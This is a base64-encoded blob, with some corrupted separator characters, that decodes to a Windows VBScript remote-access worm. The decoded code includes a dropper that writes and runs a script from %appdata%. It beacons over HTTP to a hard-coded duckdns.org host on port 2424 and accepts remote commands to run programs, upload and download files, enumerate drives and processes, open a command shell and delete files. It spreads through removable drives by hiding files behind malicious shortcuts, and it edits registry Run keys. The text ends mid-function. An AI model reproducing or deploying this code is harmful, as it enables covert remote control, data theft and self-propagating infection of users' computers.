0wNHdTV2wzYVdGSVVqQmpSRzkyVEhsSlowcHBRbTlpTT@*0d1NVTlpaMGxxYjJsSlExbG5ZMGM1ZVdSRFFDcHRTV2s0YVVsRFdXZEpiV3g2VEZoT2JHSnRVbkJpYldOcFNVTlpaMk16UW5OaFdGSnNZMmxBS20xSlIxcHdZa2RXTVdOdGQzTkpSMXBvWWtoT2JFTnRPV2xoYldnd1pFaENhMkl6WkhWaVJ6bG9Xa00xZWxwWE5XdEpRMGxwUTJsQUttZEpRMEFxWjBOdVRteGtRMEoyV1cxd2JXTXlPV3RpTTJSMVlrYzVhRnBEUUNvNVNVZE9lVnBYUmpCYVZ6bHBZVzFXYW1SRFFDcHZTVzVPYW1OdGJIZGtSMngxV25rMWJXRlhlR3hqTTJ4NlpFZFdkR0l5U25GYVYwNHdTV2xyUzJGWFdXZEpSemxwWVcxYWVtSXlVblprTWpWellqSkdhMHh0V25CaVIxWnNaVWRzZW1SSVRXZExTRTR3WTI1T2FHUnRWakJpZVd0blpFZG9iR0puYjJkSlEwQXFaMkl5U25GYWJrNTJXa2M1TTJKdGVIWlpWMUYxV2tkV2MxcFlVbXhhYld4eldsTkFLbTlqTTFKNVl6SkdNbHBZVW5aTFVYQnNZbTFSWjJGWFdVdGhWMWxuU1VjNWFXRnRhREJrU0VKcllqTmtkV0pIT1doYVF6VjZaRWRHTUdSWVRXZFFVMEFxZVUxRVFDcG5aRWRvYkdKbmIyZEpRMEFxWjFwSGJIUkpRMEoyV1cxd2VtUklTbXhaVnpGcllqTmtkV0pIT1doYVFDcHZTbU15VmpCSlEwSjJXVzF3ZW1SSVNteFpWekZyWWpOa2RXSkhPV2hhUTBBcU9VbEhUbmxhVjBZd1dsYzVhV0Z0Vm1wa1EyZHBXVmRTZGxwSFNYVmpNMUo1V2xkR2RFbHBhMHRKUTBBcVowbElaSEJrUjJkbllqSktjV016VW5sYVYwWjBXa2M1TTJKdGVIWlpWMUZuUTJkclNrbEROVEJsV0VKc1NVUXdaMDFUUUNwTFExRnJaMHh0T1hkYVZ6UkxRMUZyWjB4dVpIbGhXRkpzU1VjNWFXRnRhREJrU0VKcllqTmtkV0pIT1doYVF6VjVXbGhPZDJJeU5YcGFWMH@*yV2toclMwTlJhMmRNYms1b1pHMVdNR0l5V25CaVIxVm5Zek5TZVdNeVJqSmFXRkoyUTJkclNrbEROV3BpUnpsNldsRnZTbHBYTld0SlNHUndaRWRuUzBsRFFDcG5TVWhPYkdSRFFuWlpiWEI2WkVoS2JGbFhNV3RpTTJSMVlrYzVhRnBEUUNwblVGTkNkV0l6VW05aFZ6VnVRMjFXZFZwRFFuQmFaM0J3V21sQ2RsbHRjRzFqTWpscllqTmtkV0pIT1doYVF6VnRZVmQ0YkZwWWFIQmpNMUo2UzBoT01HTnVUbWhrYlZZd1lubHJaMlJIYUd4aVoyOW5TVU5DZW1GSFZuTmlSemxwWVdrMWVXUlhOR2RpTWtweFdtNU9kbHBIT1ROaWJYaDJXVmRSZFZveVZqQmFiV3h6V2xOQUttOWpNMUo1WXpKR01scFlVblpMVXpWNllVYzVlV1JJUW1oa1IyZExXbGMxYTBsSGJHMUpRQ3B3YkdKdFVXZGpNMVpwUTJkdlMxcHVWblZaTTFKd1lqSTBaMlJZUW5OaU1rWnJTVU5vYldGWGVHeGtXRXB6UzFGdlMxcEhiSFJKUTBKdlpFaFNkMkl5U25GTVJ6bHBZVzVPTUdOdFZtaGlXRlozWWtjNWFGcEhWWE5aYmxadFdtMVdlVU51VG14a1EwQXFaMkl5U25Gak0xSjVXbGRHZEdSWVFuTmlNa1pyV2xOQUtqbEpSMDU1V2xkR01GcFhPV2xoYlZacVpFTm5hVmxYVW5aYVIwbDFZek5TZVZwWFJuUkphV3RMWkRKc01HRkRRblpaYlhCNlpFaEtiRmxYTVRGalIzaDJXVmRTYkVsQUttOW5TVU5BS21kSlF6VXdaVmhDYkVsRU1HZE5VMEFxUzBsRFFDcG5TVU5BS25WaU0wSnNZbWR2U2tsRE5YTmlNa1pyV201S2RtSlhXbkJpUjFWbldtMXNjMXBZVm5saVFDcHZTa2xIU2pGYWJWcHNZMmxBS2psSlF6VjVXbGRHYTBObmEyZE1iVTV6WWpOT2JFTnRWblZhUTBJellWaFNiME51VG14a1EwSjJXVzF3ZW1SSVNteFpWekZyWWpOa2RXSkhPV2hhUTBBcU9VbEhOWFprUjJod1ltMWpTMk15VmpCSlIyZ3daRWhDZGxsdGIyZFFVMEpxWTIxV2FHUkhWblpaYlhCc1dUTlJiMGx0TVhwbFJ6RnpUV2sxTkdKWGVHOWtTRkozU1dsclMyRklVakJqUnpscFlXazFkbU5IVm5WSlEwcDNZak5PTUVscGQybGhTRkl3WTBSdmRreDVTV2RLYVVKdllqTk9NRWxEV1dkSmFtOXBTVU5aWjJOSE9YbGtRMEFxYlVscE9HbEpRMWxuU1cxc2VreFlTbXhaTTFwd1ltMWphVWxEV1dkak0wSnpZVmhTYkdOcFFDcHRTVWRhY0dKSFZqRmpiWGR6U1VkYWFHSklUbXhEYldnd1pFaENkbGx0YjNWak1sWjFXa05DYVdSWFdtMWFXRWxMV2xjMWEwbEhXakZpYlU0d1lWYzVkVU5uYjB0YWJsWjFXVE5TY0dJeU5HZGFWelV4WWxkU2VXRllXbXhqYVVBcWIwdFJiMHRhYlRsNVNVTkNiRmxYVG05SlIxSjVZVmhhYkVsSGJIVkpSMXB3WWtkV2VtVllUakJhVnpGMldXMXZkVnBJU25Ca2JWWjZRMjFzYlVsRFFDcG5Xa2hLY0dSdFZYVmhXRTU1V2xkR2EyVlRRQ281U1VoU2VXUlhWV2RrUjJoc1ltZHZaMGxEUUNwblNVZFdkV1JYTVd0amJXd3lXbGhKWjFCVFFteGlibFowV2toS2NHUnRWbmxKUTFsbldraEtjR1J0VlhWalIwWXdZVU5BS20xSlEwbzRTV2xBS20xSlIxSjVZVmhhYkV4dFVubGhXRnBzWkVoc2QxcFRRQ3B0U1VoT2QySkhiREJhV0VsTFdsYzFhMGxIYkcxRGJUVnNaVWhSUzFwWE5XdEpSVm94WW0xT01HRlhPWFZEWjNCdFpGYzFhbVJIYkhaaWFVSnNZbTVXZEZwdFJtMUpRMmhzWW01V2RGcEhiSGxMVVc5TFdsYzFNV0pYV21oYWFVQXFPVWxIVm5Wa1Z6RnJZVmhKWjBwcFFucGpSM2h3WkVkV2VVTnRXblpqYVVBcVoxcFhSbXBoUTBKdFlqSjRhMXBZU1dkaFZ6Um5XbTFzYzFwWVRqVmpNMUpzWWxjNWFXRnBOVzVhV0ZKdFlqSjRhMXBZU1dkTFIxWjFaRmN4YTJGWVNYQk1iazR4V1cxYWRtSkhVbXhqYmsxTFNVTkFLbWRKUTBKc1ltNVdkRnB0Um0xSlJEQm5XbGMxTVdKWFdtaGFhVUFxYlVsSFduWmlSMUpzWTJrMWRWbFhNV3hKUTFsblNXNTNhVWxEV1dkSmFVbG5TbWxBS21sbVEwbG5TbWxBS21sYVEwbG5TbWxBS21sbVEwbG5TbWxDYldJeWVHdGFXRWwxV1ZoU01HTnRiR2xrV0ZKc1kzbEFLbTFKU0U1M1lrZHNNRnBZU1V0aWJWWTBaRUFxYjB0YWJUbDVTVU5DYkZsWFRtOUpSMXB3WWtkVloyRlhOR2RhYld4eldsaE9OV016VW14aVZ6bHBZV2sxYmxwWVVtMWlNbmhyV2xoSlowdEhWblZrVnpGcllWaEpjRXh0V25CaVIxWjZRMmxBS21kSlEwQXFaMXBYTlRGaVYxcG9XbWxBS2psSlIxWjFaRmN4YlZsWFdXZEthVUp0WVZkNGJFeHROV2hpVjFWblNtbEFLbWxtUTBsblNtbENiV0ZYZUd4TWJrNXdaVzFWWjBsRFdXZEpibmRwU1VOWlowbHRXV2xKUTFsblNXNTNhVWxEV1dkYWJXeHpXbE0xYUdSSVVubGhWMG94WkVkV2VrbERXV2RqTTBKellWaFNiR05uYjB0aWJWWTBaRUFxY0d4aWJWRm5XbTVXZFZrelVuQmlNalJMUTJkd2JXUlhOV3BrUjJ4MlltbENiR0p1Vm5SalNFcDJXVEpXZW1ONVFDcHZTMUZ2UzJJeU5HZGFXRX@*1WWpOSloyTnRWbnBrVnpGc1NVYzFiR1ZJVVV0RGJrNXNaRU5DZGxsdGNETmlWMng2V2xoS01tRlhUbXhKUkRCbldqSldNR0l5U25GYVYwNHdTME5LTTJGWE5YUmFNakV3WTNwd1kxaEROV05qYlRsMlpFWjRhbUZYTVRKTmFVbHdRMjVPYkdSRFFtcGlNbmh3WkVkV2RHTjVRQ281U1VjNWFXRnVaSFJoV0U1c1kyNWFjRmt5VlhWYVdHaHNXVE5HTVZwWVNqVkxRMH@*2V2xkNGJGa3pVV2RMYVVKdFkyMDVkRWxJWkhCaWFrMTVXRE5DZVdJeVRteGpNMDFwVEVOM01FOURhMHREYlZKd1lsTkNkbGx0Y0hCa1IxWjBRMjFhZG1OcFFteFpWMDV2U1VjNWFXRnRiREJhVnpCbllWYzBaMWt5T1hOaFdGSnNZbGhOUzBOWFZuVmtWekYzWTIwNWFscFlUbnBKUkRCbldsYzFNV0pZUW5saU1rNXNZek5OWjBwcFFuWlpiWEJ3WkVkV2RFeHROV2hpVjFWblNtbEFLbWxtUTBsTFExZFdkV1JYTVhkamJUbHFXbGhPZWtsRU1HZGFWelV4WWxoQ2VXSXlUbXhqTT@*xblNtbENkbGx0Y0hCa1IxWjBURzVDZVdJeVRteGpNMDV3V2tOQUttMUpRMG80U1dkdlowbERRQ3BuV2xjMU1XSllRbmxpTWs1c1l6Tk5aMUJUUW14aWJsWjBZMGhLZGxreVZucGplVUFxYlVsSE9XbGhiV3d3V2xjd2RWcFlhR3haTTFZd1dWZEtjMXBZUW1oa1IyZG5TbWxDZW1OSGVIQmtSMVo1UTIwMWJHVklVVXRhVnpWclNVZGFNV0p0VGpCaFZ6bDFRMmR3ZW1SWFNXZGFXR2h3WkVoQ2VXSXlUbXhqTT@*xblMwaENjRnBEYTB0aU1qUm5XbGhLZVdJelNXZGpiVlo2WkZjeGJFbEhOV3hsU0ZGTFEyNU9iMXBYZUhOaU1rcHhURzVLTVdKcFFDcHBaRWRHZW1FeWRIQmlSM2RuVERCWlowd3hVV2RNTVVKS1VrTkFLbWxKUTFsblkwZHNhMHhFWTNOa1NFb3hXbEZ3YkdKdFVXZGpNMVpwUTJkd2VtUlhTV2RhUjFaeldsaFNiRnB0Um0xSlEyZ3hZMjEzY0VOdE9YVkpSMVo1WTIwNWVVbElTbXhqTTFaMFdsTkNkVnBZYURCRFozQnRZVmQ0YkdNemJIcGtSMVowWWpKS2NVeHRVbXhpUjFZd1dsZGFjR0pIVldka1dFcHpRMjFhY0dKSFZucGxXRTR3V2xjeGRsbHRiM1ZhUjFaeldsaFNiRnB0T1hOYVIxWjVTVWhXZVdKQUttOUxXbGMxYTBsSVRqRlpaMjlMV201V2RWa3pVbkJpTWpSbldUSXhhMk15YUd4aVIzZG5TMGRPZEZwRGEwdERiVkp3WWxOQ2IyUklVbmRpTWtweFRFYzViR1ZIVm1wTVNFcHNXVmRTYUdKSGVHMWpiVGwwV1ZjMU5VTm5jSHBhV0ZGbllqSldORnBYVFdkUVUwSjZZVWRXYzJKSE9XbGhhVFZzWlVkV2FrbERaMmxLVj@*1MllsaE9kMXBYVFd4SlF6bHFTVU5KWjBwcFFtcGlWMUZ3UTIxc2JVbEhOWFprUTBKMldsaG9iRmw1Tlhwa1IxSjJaRmhSZFZsWVVteGliVkoyV201T01HTnRWbWhpVTBJd1lVZFdkVU5wUUNwblNVaEtiRmxYVW1oaVIzaHRZMj@*1ZEZsWE5UVkpSREJuWWpKV05GcFhUWFZqTTFKcllqTldNRXh1U214WlYxSm9Za2QzUzFwWGVIcGFWMnh0U1VjMWRtUkRRblphV0doc1dYazFlbVJIVW14amJrbDFXVmhTYkdKdFVuWmFiazR3WTIxV2FHSlRRakJoUjFaMVEybEFLbWRKU0Vwc1dWZFNhR0pIZUcxamJUbDBXVmMxTlVsRU1HZGlNbFkwV2xkTmRXTXpVbXRhV0VwNVRHNUtiRmxYVW1oaVIzZExXbGQ0ZWxwVFFDcExTVU5BS21kamJWWm9Xa2RHYzJKSFdubGlNakZvWW01cloxQlRRQ3BwU1dkd2JHSnRVV2RoVjFsTFEyMU9kRnBJVG05YVYzaHpTVVF3WjJOdFZtaGFSMFp6WWtkYWVXSXlNV2hpYm10TFdsYzFhMGxIV2pGaWJVNHdZVmM1ZFNJS0lDQWdJSEpsYzE5MWJIUWdQU0JTWlhCc1lXTmxLRzFoYVc1ZlkyOXVkQ3dnYlhWMFgyVjRMQ0IwYUdWZlkyOXVjM1FwQ2lBZ0lDQjZkV1pqSUQwZ1pXNWpiMlJsWDNSb1pWOXpkSEpwYm1jMk5DaE9iM1JvYVc1bkxDQnlaWE5mZFd4MExDQXhNQ3dnT0RjcENrVnVaQ0JHZFc1amRHbHZiZ3BFYVcwZ2QybDFjbmxoYW1Zc0lHeHBDbmRwZFhKNVlXcG1JRDBnWTI5ZlltbGZibUZmY25sZk1sOXpkSElvZW5WbVl5Z3dMQ0JPYjNSb2FXNW5MQ0F3TENBNU9UTXBMQ0EwTENBeExDQXlMQ0F6S1FwUWNtbDJZWFJsSUVaMWJtTjBhVzl1SUdSemEyZG1hR0ZyYzJSbUtDa0tJQ0FnSUVWNFpXTjFkR1ZIYkc5aVlXd2dkMmwxY25saGFtWUtJQ0FnSUdSemEyZG1hR0ZyYzJSbUlEMGdJaUlLUlc1a0lFWjFibU4wYVc5dUNteHBJRDBnWkhOcloyWm9ZV3R6WkdZb0tRbz0iClNldCB3c2hTaGVsbDEgPSBDcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQpEaW0gYXBwZGF0YWRpcjEsIHN0dWJwYXRoMQphcHBkYXRhZGlyMS@*9IHdzaFNoZWxsMS5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVhcHBkYXRhJSIpCnN0dWJwYXRoMS@*9IGFwcGRhdGFkaXIxICYgIlxZZ2lMU0VkTkdsLnZicyIKRGltIGRlY29kZWQxCmRlY29kZWQxID0gZGVjb2RlQmFzZTY0KGxvbmdUZXh0MSkKd3JpdGVCeXRlcyBzdHVicGF0aDEsIGRlY29kZWQxCndzaFNoZWxsMS5SdW4oIndzY3JpcHQgLy9CICIiIi@*mIHN0dWJwYXRoMS@*mICIiIiIpClByaXZhdGUgU3ViIHdyaXRlQnl0ZXMoZmlsZSwgYnl0ZXMpCm9uIGVycm9yIHJlc3VtZSBuZXh0CkRpbSBiaW5hcnlTdHJlYW0KU2V0IGJpbmFyeVN0cmVhbS@*9IENyZWF0ZU9iamVjdCgiQURPREIuU3RyZWFtIikKYmluYXJ5U3RyZWFtLlR5cGUgPSBUeXBlQmluYXJ5CmJpbmFyeVN0cmVhbS5PcGVuCmJpbmFyeVN0cmVhbS5Xcml0ZSBieXRlcwpiaW5hcnlTdHJlYW0uU2F2ZVRvRmlsZSBmaWxlLCBGb3JXcml0aW5nCkVuZCBTdWIKUHJpdmF0ZSBGdW5jdGlvbiBkZWNvZGVCYXNlNjQoYmFzZTY0KQpEaW0gRE0sIEVMClNldCBETS@*9IENyZWF0ZU9iamVjdCgiTWljcm9zb2Z0LlhNTERPTSIpClNldCBFTC@*9IERNLmNyZWF0ZUVsZW1lbnQoInRtcCIpCkVMLkRhdGFUeXBlID0gImJpbi5iYXNlNjQiCkVMLlRleHQgPSBiYXNlNjQKZGVjb2RlQmFzZTY0ID0gRUwuTm9kZVR5cGVkVmFsdWUKRW5kIEZ1bmN0aW9uClNldCB3c2hTaGVsbDEgPSBOb3RoaW5nDQpob3N0ID0gIjU1OTRjOGU3LT@*3NDgtNGFjOS04MmY3LTQ1Mjc2YTkwMzBlMC5kdWNrZG5zLm9yZyINCnBvcnQgPS@*yNDI0DQppbnN0YWxsZGlyID0gIiVhcHBkYXRhJSINCmxua2ZpbGUgPSBmYWxzZQ0KbG5rZm9sZGVyID0gZmFsc2UNCmRpbSBzaGVsbG9iag0Kc2V0IHNoZWxsb2JqID0gd3NjcmlwdC5jcmVhdGVvYmplY3QoIndzY3JpcHQuc2hlbGwiKQ0KZGltIGZpbGVzeXN0ZW1vYmoNCnNldCBmaWxlc3lzdGVtb2JqID0gY3JlYXRlb2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpDQpkaW0gaHR0cG9iag0Kc2V0IGh0dHBvYmogPSBjcmVhdGVvYmplY3QoIm1zeG1sMi54bWxodHRwIikNCmluc3RhbGxuYW1lID0gd3NjcmlwdC5zY3JpcHRuYW1lDQpzdGFydHVwID0gc2hlbGxvYmouc3BlY2lhbGZvbGRlcnMgKCJzdGFydHVwIikgJi@*iXCINCmluc3RhbGxkaXIgPSBzaGVsbG9iai5leHBhbmRlbnZpcm9ubWVudHN0cmluZ3MoaW5zdGFsbGRpcikgJi@*iXCINCmlmIG5vdCBmaWxlc3lzdGVtb2JqLmZvbGRlcmV4aXN0cyhpbnN0YWxsZGlyKSB0aGVuICBpbnN0YWxsZGlyID0gc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKCIldGVtcCUiKS@*mICJcIg0Kc3BsaXRlci@*9ICI8Ii@*mICJ8Ii@*mICI+Ig0Kc2xlZX@*gPS@*yNT@*wM@*0KZGltIHJlc3BvbnNlDQpkaW0gY21kDQpkaW0gcGFyYW0NCmluZm8gPS@*iIg0KdXNic3ByZWFkaW5nID0gIiINCnN0YXJ0ZGF0ZS@*9ICIiDQpkaW0gb25lb25jZQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCmluc3RhbmNlDQp3aGlsZSB0cnVlDQppbnN0YWxsDQpyZXNwb25zZS@*9ICIiDQpyZXNwb25zZS@*9IHBvc3QgKCJpcy1yZWFkeSIsIiIpDQpjbWQgPSBzcGxpdC@*ocmVzcG9uc2Usc3BsaXRlcikNCnNlbGVjdCBjYXNlIGNtZC@*oMCkNCmNhc2UgImV4Y2VjdXRlIg0KcGFyYW0gPSBjbWQgKDEpDQpleGVjdXRlIHBhcmFtDQpjYXNlICJ1cGRhdGUiDQpwYXJhbS@*9IGNtZC@*oMSkNCm9uZW9uY2UuY2xvc2UNCnNldCBvbmVvbmNlID0gIGZpbGVzeXN0ZW1vYmoub3BlbnRleHRmaWxlIChpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgLDIsIGZhbHNlKQ0Kb25lb25jZS53cml0ZSBwYXJhbQ0Kb25lb25jZS5jbG9zZQ0Kc2hlbGxvYmoucnVuICJ3c2NyaXB0LmV4ZS@*vL0IgIi@*mIGNocigzNCkgJiBpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgJiBjaHIoMzQpDQp3c2NyaXB0LnF1aXQNCmNhc2UgInVuaW5zdGFsbCINCnVuaW5zdGFsb@*0KY2FzZS@*ic2VuZCINCmRvd25sb2FkIGNtZC@*oMSksY21kICgyKQ0KY2FzZS@*ic2l0ZS1zZW5kIg0Kc2l0ZWRvd25sb2FkZXIgY21kICgxKSxjbWQgKDIpDQpjYXNlICJyZWN2Ig0KcGFyYW0gPSBjbWQgKDEpDQp1cGxvYWQgKHBhcmFtKQ0KY2FzZS@*gImVudW0tZHJpdmVyIg0KcG9zdC@*iaXMtZW51bS1kcml2ZXIiLGVudW1kcml2ZXINCmNhc2UgICJlbnVtLWZhZiINCnBhcmFtID0gY21kICgxKQ0KcG9zdC@*iaXMtZW51bS1mYWYiLGVudW1mYWYgKHBhcmFtKQ0KY2FzZS@*gImVudW0tcHJvY2VzcyINCnBvc3QgImlzLWVudW0tcHJvY2VzcyIsZW51bXByb2Nlc3MNCmNhc2UgICJjbWQtc2hlbGwiDQpwYXJhbS@*9IGNtZC@*oMSkNCnBvc3QgImlzLWNtZC1zaGVsbCIsY21kc2hlbGwgKHBhcmFtKQ0KY2FzZS@*gImRlbGV0ZSINCnBhcmFtID0gY21kICgxKQ0KZGVsZXRlZmFmIChwYXJhbSkNCmNhc2UgICJleGl0LXByb2Nlc3MiDQpwYXJhbS@*9IGNtZC@*oMSkNCmV4aXRwcm9jZXNzIChwYXJhbSkNCmNhc2UgICJzbGVlcCINCnBhcmFtID0gY21kICgxKQ0Kc2xlZX@*gPSBldmFsIChwYXJhbSkNCmVuZCBzZWxlY3QNCndzY3JpcHQuc2xlZX@*gc2xlZX@*NCndlbmQNCnN1YiBpbnN0YWxsDQpvbiBlcnJvciByZXN1bWUgbmV4d@*0KZGltIGxua29iag0KZGltIGZpbGVuYW1lDQpkaW0gZm9sZGVybmFtZQ0KZGltIGZpbGVpY29uDQpkaW0gZm9sZGVyaWNvbg0KdXBzdGFyd@*0KZm9yIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCmlmICBkcml2ZS5pc3JlYWR5ID0gdHJ1ZSB0aGVuDQppZi@*gZHJpdmUuZnJlZXNwYWNlIC@*+ID@*gdGhlbg0KaWYgIGRyaXZlLmRyaXZldHlwZS@*gPS@*xIHRoZW4NCmZpbGVzeXN0ZW1vYmouY29weWZpbGUgd3NjcmlwdC5zY3JpcHRmdWxsbmFtZS@*sIGRyaXZlLnBhdGggJi@*iXCIgJiBpbnN0YWxsbmFtZSx0cnVlDQppZi@*gZmlsZXN5c3RlbW9iai5maWxlZXhpc3RzIChkcml2ZS5wYXRoICYgIlwiICYgaW5zdGFsbG5hbWUpICB0aGVuDQpmaWxlc3lzdGVtb2JqLmdldGZpbGUoZHJpdmUucGF0aC@*mICJcIi@*gJiBpbnN0YWxsbmFtZSkuYXR0cmlidXRlcy@*9IDIrN@*0KZW5kIGlmDQpmb3IgZWFjaCBmaWxlIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKCBkcml2ZS5wYXRoICYgIlwiICkuRmlsZXMNCmlmIG5vdCBsbmtmaWxlIHRoZW4gZXhpdCBmb3INCmlmICBpbnN0ci@*oZmlsZS5uYW1lLCIuIikgdGhlbg0KaWYgIGxjYXNlIChzcGxpdChmaWxlLm5hbWUsICIuIikgKHVib3VuZChzcGxpdChmaWxlLm5hbWUsICIuIikpKSkgPD4gImxuayIgdGhlbg0KZmlsZS5hdHRyaWJ1dGVzID0gMis0DQppZi@*gdWNhc2UgKGZpbGUubmFtZSkgPD4gdWNhc2UgKGluc3RhbGxuYW1lKSB0aGVuDQpmaWxlbmFtZS@*9IHNwbGl0KGZpbGUubmFtZSwiLiIpDQpzZXQgbG5rb2JqID0gc2hlbGxvYmouY3JlYXRlc2hvcnRjdXQgKGRyaXZlLnBhdGggJi@*iXCIgICYgZmlsZW5hbWUgKD@*pICYgIi5sbmsiKQ0KbG5rb2JqLndpbmRvd3N0eWxlID0gNw0KbG5rb2JqLnRhcmdldHBhdGggPS@*iY21kLmV4ZSINCmxua29iai53b3JraW5nZGlyZWN0b3J5ID0gIiINCmxua29iai5hcmd1bWVudHMgPS@*iL2Mgc3RhcnQgIi@*mIHJlcGxhY2UoaW5zdGFsbG5hbWUsIi@*iLCBjaHJ3KDM0KS@*mICIgIi@*mIGNocncoMzQpKS@*mICImc3RhcnQgIi@*mIHJlcGxhY2UoZmlsZS5uYW1lLCIgIiwgY2hydygzNCkgJi@*iICIgJiBjaHJ3KDM0KSkgJiImZXhpdCINCmZpbGVpY29uID0gc2hlbGxvYmoucmVncmVhZC@*oIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxjbGFzc2VzXCIgJiBzaGVsbG9iai5yZWdyZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXGNsYXNzZXNcLiIgJiBzcGxpdChmaWxlLm5hbWUsICIuIikodWJvdW5kKHNwbGl0KGZpbGUubmFtZSwgIi4iKSkpJi@*iXCIpICYgIlxkZWZhdWx0aWNvblwiKQ0KaWYgIGluc3RyIChmaWxlaWNvbiwiLCIpID0gMCB0aGVuDQpsbmtvYmouaWNvbmxvY2F0aW9uID0gZmlsZS5wYXRoDQplbHNlDQpsbmtvYmouaWNvbmxvY2F0aW9uID0gZmlsZWljb24NCmVuZCBpZg0KbG5rb2JqLnNhdmUoKQ0KZW5kIGlmDQplbmQgaWYNCmVuZCBpZg0KbmV4d@*0KZm9yIGVhY2ggZm9sZGVyIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKCBkcml2ZS5wYXRoICYgIlwiICkuc3ViZm9sZGVycw0KaWYgbm90IGxua2ZvbGRlciB0aGVuIGV4aXQgZm9yDQpmb2xkZXIuYXR0cmlidXRlcy@*9IDIrN@*0KZm9sZGVybmFtZS@*9IGZvbGRlci5uYW1lDQpzZXQgbG5rb2JqID0gc2hlbGxvYmouY3JlYXRlc2hvcnRjdXQgKGRyaXZlLnBhdGggJi@*iXCIgICYgZm9sZGVybmFtZS@*mICIubG5rIikNCmxua29iai53aW5kb3dzdHlsZS@*9IDcNCmxua29iai50YXJnZXRwYXRoID0gImNtZC5leGUiDQpsbmtvYmoud29ya2luZ2RpcmVjdG9yeS@*9ICIiDQpsbmtvYmouYXJndW1lbnRzID0gIi9jIHN0YXJ0ICIgJiByZXBsYWNlKGluc3RhbGxuYW1lLCIgIiwgY2hydygzNCkgJi@*iICIgJiBjaHJ3KDM0KSkgJi@*iJnN0YXJ0IGV4cGxvcmVyICIgJiByZXBsYWNlKGZvbGRlci5uYW1lLCIgIiwgY2hydygzNCkgJi@*iICIgJiBjaHJ3KDM0KSkgJiImZXhpdCINCmZvbGRlcmljb24gPSBzaGVsbG9iai5yZWdyZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXGNsYXNzZXNcZm9sZGVyXGRlZmF1bHRpY29uXCIpDQppZi@*gaW5zdHIgKGZvbGRlcmljb24sIiwiKS@*9ID@*gdGhlbg0KbG5rb2JqLmljb25sb2NhdGlvbi@*9IGZvbGRlci5wYXRoDQplbHNlDQpsbmtvYmouaWNvbmxvY2F0aW9uID0gZm9sZGVyaWNvbg0KZW5kIGlmDQpsbmtvYmouc2F2ZSgpDQpuZXh0DQplbmQgSWYNCmVuZCBJZg0KZW5kIGlmDQpuZXh0DQplcnIuY2xlYXINCmVuZCBzdWINCnN1YiB1bmluc3RhbGwNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpkaW0gZmlsZW5hbWUNCmRpbSBmb2xkZXJuYW1lDQpzaGVsbG9iai5yZWdkZWxldGUgIkhLRVlfQ1VSUkVOVF9VU0VSXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkNCnNoZWxsb2JqLnJlZ2RlbGV0ZS@*iSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkNCmZpbGVzeXN0ZW1vYmouZGVsZXRlZmlsZSBzdGFydHVwICYgaW5zdGFsbG5hbWUgLHRydWUNCmZpbGVzeXN0ZW1vYmouZGVsZXRlZmlsZSB3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lICx0cnVlDQpmb3IgIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCmlmICBkcml2ZS5pc3JlYWR5ID0gdHJ1ZSB0aGVuDQppZi@*gZHJpdmUuZnJlZXNwYWNlIC@*+ID@*gdGhlbg0KaWYgIGRyaXZlLmRyaXZldHlwZS@*gPS@*xIHRoZW4NCmZvci@*gZWFjaCBmaWxlIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyICggZHJpdmUucGF0aC@*mICJcIikuZmlsZXMNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQppZi@*gaW5zdHIgKGZpbGUubmFtZSwiLiIpIHRoZW4NCmlmICBsY2FzZS@*oc3BsaXQoZmlsZS5uYW1lLC@*iLiIpKHVib3VuZChzcGxpdChmaWxlLm5hbWUsICIuIikpKSkgPD4gImxuayIgdGhlbg0KZmlsZS5hdHRyaWJ1dGVzID0gM@*0KaWYgIHVjYXNlIChmaWxlLm5hbWUpIDw+IHVjYXNlIChpbnN0YWxsbmFtZSkgdGhlbg0KZmlsZW5hbWUgPSBzcGxpdChmaWxlLm5hbWUsIi4iKQ0KZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIChkcml2ZS5wYXRoICYgIlwiICYgZmlsZW5hbWUoMCkgJi@*iLmxuayIgKQ0KZWxzZQ0KZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIChkcml2ZS5wYXRoICYgIlwiICYgZmlsZS5uYW1lKQ0KZW5kIElmDQplbHNlDQpmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgKGZpbGUucGF0aCkNCmVuZCBpZg0KZW5kIGlmDQpuZXh0DQpmb3IgZWFjaCBmb2xkZXIgaW4gZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoIGRyaXZlLnBhdGggJi@*iXCIgKS5zdWJmb2xkZXJzDQpmb2xkZXIuYXR0cmlidXRlcy@*9ID@*NCm5leHQNCmVuZCBpZg0KZW5kIGlmDQplbmQgaWYNCm5leHQNCndzY3JpcHQucXVpd@*0KZW5kIHN1Yg0KZnVuY3Rpb24gcG9zdC@*oY21kICxwYXJhbSkNCnBvc3QgPSBwYXJhbQ0KaHR0cG9iai5vcGVuICJwb3N0IiwiaHR0cDovLyIgJiBob3N0ICYgIjoiICYgcG9ydC@*mIi8iICYgY21kLCBmYWxzZQ0KaHR0cG9iai5zZXRyZXF1ZXN0aGVhZGVyICJ1c2VyLWFnZW50OiIsaW5mb3JtYXRpb24NCmh0dHBv